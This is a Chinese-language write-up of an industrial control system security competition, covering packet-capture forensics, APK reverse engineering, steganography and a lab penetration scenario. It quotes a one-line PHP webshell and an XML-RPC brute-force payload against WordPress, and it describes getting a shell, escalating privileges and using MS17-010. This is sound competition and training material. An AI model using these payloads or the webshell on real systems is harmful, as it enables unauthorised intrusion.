0x00 前言
参加了今年的工控安全比赛,这个比赛分为线上赛(五场,每一场都可以参加,取最好成绩一场),线下复赛(前 60 名),线下决赛(复赛前三十名),我和两个同学组队,最后拿到了第三场线上第一,线下复赛第九,决赛第七名的成绩
借着九零举办活动的机会,写下此文(部分内容是两个同学做的写的内容)
0x01 第三场线上赛 WriteUp
0x02 简单的APK逆向
这是去年比赛的旧题修改了flag,解包apk得到multiprotocol.tesla.scada文件。反编译该文件通过对比正版软件,很容易得到flag(为混淆前的类名)。
0x03 窃取数据的黑客
观察是mms工控协议,使用以下脚本确定使用了哪些功能码以及次数:
#!/usr/bin/env python
import pyshark
captures = pyshark.FileCapture("tmflag.pcapng")
confirmed_services_request = {}
confirmed_services_response = {}
for capture in captures:
for pkt in capture:
if pkt.layer_name == "mms":
if hasattr(pkt, "confirmedservicerequest"):
service = pkt.confirmedservicerequest
if service in confirmed_services_request:
confirmed_services_request[service] += 1
else:
confirmed_services_request[service] = 1
if hasattr(pkt, "confirmedserviceresponse"):
service = pkt.confirmedserviceresponse
if service in confirmed_services_response:
confirmed_services_response[service] += 1
else:
confirmed_services_response[service] = 1
print(confirmed_services_request)
print(confirmed_services_response)
使用的服务如下:
1 (getNameList)、4 (read)、5 (write)
6 (getVariableAccessAttributes)、12 (getNamedVariableListAttributes)
72 (fileOpen)、73 (fileRead)、74 (fileClose)、77 (fileDirectory)
观察到:
对 flag.7z文件进行了打开操作,猜测存在对应的fileRead(73)操作,使用以下脚本提取 flag.7z fileread 的内容:
import pyshark
import binascii
def flag():
try:
captures = pyshark.FileCapture("tmflag.pcapng")
flag_frsm = False
flag_frsm_id = None
flag_read = False
for capture in captures:
for pkt in capture:
if pkt.layer_name == "mms":
# file open
if hasattr(pkt, "confirmedservicerequest") and int(pkt.confirmedservicerequest) == 72:
if hasattr(pkt, "filename_item"):
filename_items = pkt.filename_item.fields
for f in filename_items:
file_name = str(f.get_default_value())
if file_name == "flag.7z":
flag_frsm = True
if hasattr(pkt, "confirmedserviceresponse") and int(pkt.confirmedserviceresponse) == 72 and flag_frsm:
if hasattr(pkt, "frsmid"):
flag_frsm_id = pkt.frsmid
flag_frsm = False
if hasattr(pkt, "confirmedservicerequest") and int(pkt.confirmedservicerequest) == 73 and flag_frsm_id:
if hasattr(pkt, "fileread"):
if str(pkt.fileread) == str(flag_frsm_id):
flag_read = True
flag_frsm_id = None
if hasattr(pkt, "confirmedserviceresponse") and int(pkt.confirmedserviceresponse) == 73 and flag_read:
if hasattr(pkt, "filedata"):
data = str(pkt.filedata).replace(":", "")
hex2char(data)
flag_read = False
except Exception as e:
print(e)
def hex2char(data):
# binascii.a2b_hex(hexstr)
output = binascii.unhexlify(data)
print(output)
if __name__ == '__main__':
flag()
即为 flag
0x04 Tesla工业APP分析
题目为TeslaMultiSCADA软件,版本号已经被修改,以免参赛者快速找到对应版本的正版app。同时对该apk和1.10.3版本的正版软件进行反编译对比,很快可以发现有一个apk被伪装成字体文件。发现该apk已经被加固保护,使用IDA或DexHunter等工具对其脱壳,反编译的java层代码如下图:
需要识别出java层的加密算法为base85,关键反编译代码如下:
java层要求我们输入一行字符串,进行base85算法编码后传入so层,将libnative-lib.so
拖入IDA进行反汇编操作,从函数Java_bin_crack_easyandroid_MainActivity_stringFromJNI
开始分析。
该函数并没有关键逻辑,值得提醒的是,so进行了字符串加密保护,选择手动逆向datadiv_decode10352206657073544814函数并解密字符串,或者直接动态调试apk。当apk运行起来后,字符串会自动解密,接下来重点关注sub_2E74函数。
该函数流程已经被高度混淆,可以有选择的对其调用的子函数进行断点跟踪(需要注意apk的断点扫描检测,发现断点会直接崩溃),根据动态调试的数据分析并识别出重点函数sub_1228(变异SM4算法ECB模式),sub_DA4(变异base91算法)。分析出SM4魔改的数据如下:
Base91魔改的数据如下:
至此了解了程序加密流程以及加密算法,但依然缺少SM4加密密钥和最终的密文,对apk进行res资源反混淆,发现如下图文件:
爆破解密脚本如下:
data = "D4E8E5A0EBE5F9A0E9F3A0D9EFF5F2E5DFF6E5F2F9DFF3EDE1F2F4ACC3E9F0E8E5F2F4E5F8F4A0E3EFEEF3E9F3F4F3A0EFE6A0F4E8F2E5E5A0F0E1F2F4F3ACC3EFEDE5A0EFEEA1".decode("hex")
for i in range(256):
string = ''
for j in data:
string += chr(ord(j)-i)
print string
得到key为“Youre_very_smart”
,密文分为三部分,通过文件比对软件很容易找到三处位置为functions_fr.properties
文件、smali/d/a/a/a/b/a;
`smali/android/support/v7/internal/view/menu/ActionMenuItemView;`functions_fr.properties
文件
看着像摩尔斯电码,其实是brainfuck,‘/‘对应’!‘,’-’对应’?‘。解密结果为
smali/d/a/a/a/b/a
文件
看着像brainfuck,其实是摩尔斯电码,’!’对应-‘,’?’对应’/‘。解密结果(摩尔斯电码不分字母大小写,其实正确的结果为全部字母小写)为
smali/android/support/v7/internal/view/menu/ActionMenuItemView
文件
看着像brainfuck,其实就是brainfuck,’!’对应?‘,’?’对应’!‘。解密结果为
接下来即使三部分密文的排列组合问题,必有一个字符串可以通过base91解密—>SM4解密-->base85解密得到正确flag(“Andr01dReMi3clsS0Ea5y!!! “)
0x05 flag在哪
使用 binwalk查看图片,发现存在隐藏的 ZIP 文件,再使用 foremost 分离出来:
得到一个 PNG 图片和压缩包:
打开压缩包发现存在另一张图片,且需要解压密码
观察另一张图片发现存在残缺的条形码图文:
使用 PS 工具将其修复完整:
最终得到下图:
发现熊猫的颜色颠倒过来,因此对图片进行反相处理:
扫描可得到字符串:This_n0t_fl4g
使用该字符串解压刚才的压缩包,得到3.jpg文件,使用 binwalk 查看依旧存在 ZIP 文件,于是继续分离出来:
最终得到两个一模一样的图片
使用Stegsolve工具进行图片对比:
发现出现很多像素点,确定是像素隐写,保存该图片为:solved.bmp,发现和原图对比数据杂乱因此尝试使用像素隐写解密工具进行解密,GitHub 搜索尝试几个工具后,最终发现此工具可以成功解密:
https://github.com/HFO4/HideByPixel
得到 cmd5 数据
解密后即为 flag
0x06 协议分析又来了
从wireshark中发现是LSIS PLC的相关通信内容。在数据包中可观察到对plc的寄存器进行遍历读取,但中间会参杂一些其他的读取。以100为长度。
通过程序对相关数据进行筛选
对数据进行xor 0xFF还原并修整提取
使用dnspy对程序进行反编译,找到其中的资源mainwindow.baml
复制其中的Grid元素中的RadioButton的所有标签。
通过visual studio新建一个WPF工程,把上述内容贴入工程的xaml中即可见到flag
附:
private void Btnreadfile_Click(object sender, EventArgs e)
{
byte[] read = new byte[9999];
OpenFileDialog fileDialog = new OpenFileDialog();
fileDialog.Multiselect = true;
fileDialog.Title = "请选择文件";
fileDialog.Filter = "所有文件|*.*"; //设置要选择的文件的类型
if (fileDialog.ShowDialog() == DialogResult.OK)
{
string file = fileDialog.FileName;//返回文件的完整路径
PcapNGFileReader packetReader = new PcapNGFileReader(FileToStream(file));
var packets= packetReader.ReadPackets();
bool isRead = false;
byte[] readbyte = new byte[65500];
int iterCount = 100;
foreach(var item in packets)
{
var data = item.Payload.ToArray();
//读取数据
if (isRead)
{
for(int j = 99; j >= 0; j--)
{
int sub = 99 - j;
readbyte[iterCount + j] = (byte)(data[data.Length-sub-1]);
}
iterCount += 100;
isRead = false;
}
//处理是否读取保存下一个包
if (data.Length > 91&&data.Length<95 && data[data.Length - 4] == 0x30 && data[data.Length - 3] == 0x30 && data[data.Length - 2] == 0x64 && data[data.Length - 1] == 0x00)
{
isRead = true;
}
else
{
isRead = false;
}
}
int endloc = 100;
int count = 1000;
for (int i = 100; i < 65500; i++)
{
if (readbyte[i] == 0)
{
endloc = i;
count--;
if (count == 0)
{
break;
}
}
else
{
count = 1000;
endloc = 100;
}
}
byte[] getval = new byte[endloc - 1100];
for (int i = 0; i < getval.Length; i++)
{
getval[i] = (byte)(readbyte[i + 100] ^ 0xFF);
}
StreamToFile(BytesToStream(getval), file + ".exe");
}
}
/// <summary>
/// byte[]转换成Stream
/// </summary>
/// <param name="bytes"></param>
/// <returns></returns>
public Stream BytesToStream(byte[] bytes)
{
Stream stream = new MemoryStream(bytes);
return stream;
}
/// <summary>
/// Stream转换成byte[]
/// </summary>
/// <param name="stream"></param>
/// <returns></returns>
public byte[] StreamToBytes(Stream stream)
{
byte[] bytes = new byte[stream.Length];
stream.Read(bytes, 0, bytes.Length);
stream.Seek(0, SeekOrigin.Begin); // 设置当前流的位置为流的开始
return bytes;
}
/// <summary>
/// 从文件读取Stream
/// </summary>
/// <param name="path"></param>
/// <returns></returns>
public Stream FileToStream(string path)
{
FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read); // 打开文件
byte[] bytes = new byte[fileStream.Length]; // 读取文件的byte[]
fileStream.Read(bytes, 0, bytes.Length);
fileStream.Close();
Stream stream = new MemoryStream(bytes); // 把byte[]转换成Stream
return stream;
}
/// <summary>
/// 将Stream写入文件
/// </summary>
/// <param name="stream"></param>
/// <param name="path"></param>
public void StreamToFile(Stream stream, string path)
{
byte[] bytes = new byte[stream.Length]; // 把Stream转换成byte[]
stream.Read(bytes, 0, bytes.Length);
stream.Seek(0, SeekOrigin.Begin); // 设置当前流的位置为流的开始
FileStream fs = new FileStream(path, FileMode.Create); // 把byte[]写入文件
BinaryWriter bw = new BinaryWriter(fs);
bw.Write(bytes);
bw.Close();
fs.Close();
}
0x07 西门子DOS攻击事件
使用IDA反汇编题目文件,发现可疑字符串crash,共两处引用
从该文件无法得到题目要求的UDP数据流
留意到此处代码,确定题目文件为Industroyer工控恶意软件Launcher模块。而其中的udp包发生在利用DOS攻击漏洞CVE-2015-5374阶段,从而得到最终答案。
0x08 黑客的大意
从图片中可见 WATCHIN YUR SCREENZ的字样,在github中搜索可知图来源于gcat这个程序。
任意点进一个,找到里面的gcat.py可见:
Flag就是: gcat.is.the.shit@gmail.com
0x08 智能变电站设备异常诊断
一眼看出题目将ZIP文件头前四个字节倒序了,翻转过来即可解压
得到dcs.dcs文件
这其实是凯默scd分析软件的kscd文件,文件头还加了两字节垃圾数据。出题人将所有的00都修改为了20,导致文件无法被凯默scd软件正常解析,因此只能从字符串中寻找规律。
然后纯粹靠眼力,使用正则表达式将其筛选出来,得到flag
0x09 神奇的数据
使用搜索引擎搜了下ETHER没搜出什么有价值的信息,看见一堆ACSII码,不管这么多,先来一发ASCII变成标准字符.
逻辑为提取|0开始的行,然后把后面的ASCII转换为标准的byte。
然后看了下,这包很像MMS的数据包。
联想到第2题。根据MMS的协议规则,有效的数据包都是成对出现的:
而且在其中找到了flag字样,因此把flag转换为66|6c|61|67|
在原始的stream.exe中搜索可见
直接把71769这行flag后面那一节通过转换工具查看
复制出来可以看到:
flag¡? :
PL1012{ROT
PL1012CTRL PL1012LD0
PL1012MEAS PL1012RC}
看了下结构,然后猜了下,flag就是:ROTCTRLLD0MEASRC
0x10 异常的S7数据
下载题目所给的flag.pcapng,发现有57万个包,还是蛮多的。
在过滤器中输入s7comm
过滤后数量没什么变化,还是57万多个
然后观察包内容,使用过滤语句
s7comm.header.rosctr == 3 & s7comm.data.returncode == 0xff
发现包数量为288305
然后加上初始化通信的包,刚好占一半,说明所有发送都是成功接收的。
因此就不需要看Ack_Data。使用s7comm.header.rosctr == 1过滤语句,查看ROSCTR为Job的Write Var的数据包,发现写的数据长度均为10。基于这些信息,开始进入写代码筛选阶段。
编写了下面的筛选代码:对所有长度113的包进行过滤,最开始走了不少弯路,以为是把后面变化的字节过滤出来,进行合并,然后还原flag的。
从过滤出来的数据中还真看到和flag字样有关的信息,在这浪费了不少时间。
没看出个所以然后,突然灵光一现,是不是前面的0xffff会有不同的呢,于是写了下面的代码:
经过验证,只有一个包符合这个条件。
于是flag为ffad28a0ce69db34751f
0x11 工业网络渗透测试(场景题目)
题目给了提示,目标所在网段为 172.16.1.0/24,通过快速扫描存活主机,确认 172.16.1.2存活,开放端口为 80,访问可知是一个 WordPress 搭建的站点,使用wpscan扫描可以得到以下信息:
使用的插件没有什么存在可以利用的高危漏洞,但是发现了robots.txt文件以及xmlrpc.php文件,访问 robots:
下载后,打开/wordpress/flag_dict_dict_di.txt文件,发现是一个字典,但是字典很大,大概300W+的数据:
观察字典后发现,存在大量重复数据,每一个密文大概重复了 300+次,因此剔除重复文件,最终数据大概 1w+数据:
到现在思路已经很清楚了,利用这些字典,去爆破出管理员密码,然后后台拿shell,提权,找到 flag
使用 wpscan 确定用户名:
结合xmlrpc.php的爆破漏洞,payload 如下
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>Wikia</value></param>
<param><value>Random</value></param>
</params>
</methodCall>
使用 burpsuite 找到 flag:
最终确定密码为:DDE-JIJIJawww9999
登陆后在 404文件拿到shell
Whoami 信息是普通用户 abc,abc 的目录下找到flag.txt.txt文件,打开发现:
然后看了下 systeminfo 的信息:
尝试各种提权方法,始终无法上传文件:
后来测试发现,新建文件是没有任何问题的
但是新建文件写入内容不能超过 350 行,大概1 K 左右的数据,超过这个大小就会失败。
后来尝试分块传输,但是传到后目录上运行后各种没权限,遂打算尝udf提取,读取到数据库密码为:
尝试远程登录,账号administrator,密码 Jnds2019!@,登录成功
搜索到 flag,
打开文件为flag={!@#$%Jnds2019&*--}
0x12 线下复赛
线下复赛分为两天,第一天是 CTF + 加固报告 + 情景题,第二题是真实工控设备挖掘
Day 1
共 15 题,名称如下
- 1.网络异常分析
- 2.系统异常分析
- 3.Web应用异常分析
- 4.工控异常分析
- 5.组态异常分析
- 6.网络异常修复
- 7.Web应用应急修复
- 8.系统应急修复
- 9.工控应急修复
- 10.威胁情报收集
- 11.逆向分析溯源
- 12.网络安全加固
- 13.系统安全加固
- 14.应用安全加固
- 15.工控安全加固
具体题目没有,比赛都是远程连接靶机,两台,一台 XP,一台 WIN7,XP 上放着工控组态软件,WIN7 上主要是 Web
这里说下 Web 应用异常分析的WP
web 的目录如下:
在/WWW/Conf/Role/目录下,发现了webshell.php
内容如下:
<?php @eval($_POST['chopper']);?>
//1019711512111910198115104101108108
将1019711512111910198115104101108108
划分为
101 97 115 121 119 101 98 115 104 101 108 108
ASCII转换得到结果
只有前 5 题是提交 flag(比较菜,只找到一个),后来赛后听师傅说,第二题系统异常分析是在 XP 下,开启资源管理器,flag 不是文件,dir 也看不到,但是名字就是 flag,运行后是打开 ie 的设置,然后就可以看到 flag
第五题以后,就是写报告了,各种报告orz~ 写的头都晕了,其中一份报告写了 3000 字(队友tql)
然后就是情景题,情景题对于懂工控的来说,应该不难,只需要将工控设备,如下图:
恢复正常运行状态即可,我们没接触过这类真实/模拟工控设备,因此没有达到目标
Day 2
第二题我们零分……所以说下比赛的形式就可以了
就是随机抽一个设备,我们抽到的是mitsubishi melsec iq-r
就是这玩意
没有 web 界面,开放了两个端口 21 和 5007 端口,使用GX Works3连接后,尝试挖掘漏洞无果……
后来水了 4 个漏洞,包括协议包数据重放导致重启暂停漏洞、拒绝式服务攻击漏洞等,最终判定有效漏洞为 0(哭辽~)
0x13 决赛
决赛只有一天,主要形式是模拟真实设备攻防 ,每个队伍选择一个工控设备,然后有一个小时时间加固,守护。一个小时过后,可以向任何目标发起攻击,得分方式有两种。
第一种,攻击目标守护的工控设备,达到攻击效果,即可加两百分,被攻击的,减去 100 分
第二种,渗透目标主机或工控设备,在目标上插入不同类型的旗帜,即可加 10 分
规则大致是这样,这里也没啥好说的,基本上是通过 MS17-010打入一些主机后,插入旗帜,攻击工控设备,达到攻击效果等
0x14 总结
总的来说,这次的比赛还是很有收获,包括对一些协议的了解,工控设备的认知等,欢迎对工控安全有兴趣的小伙伴一起交流~
帅哥有没有题啊,只有wp找不到原题啊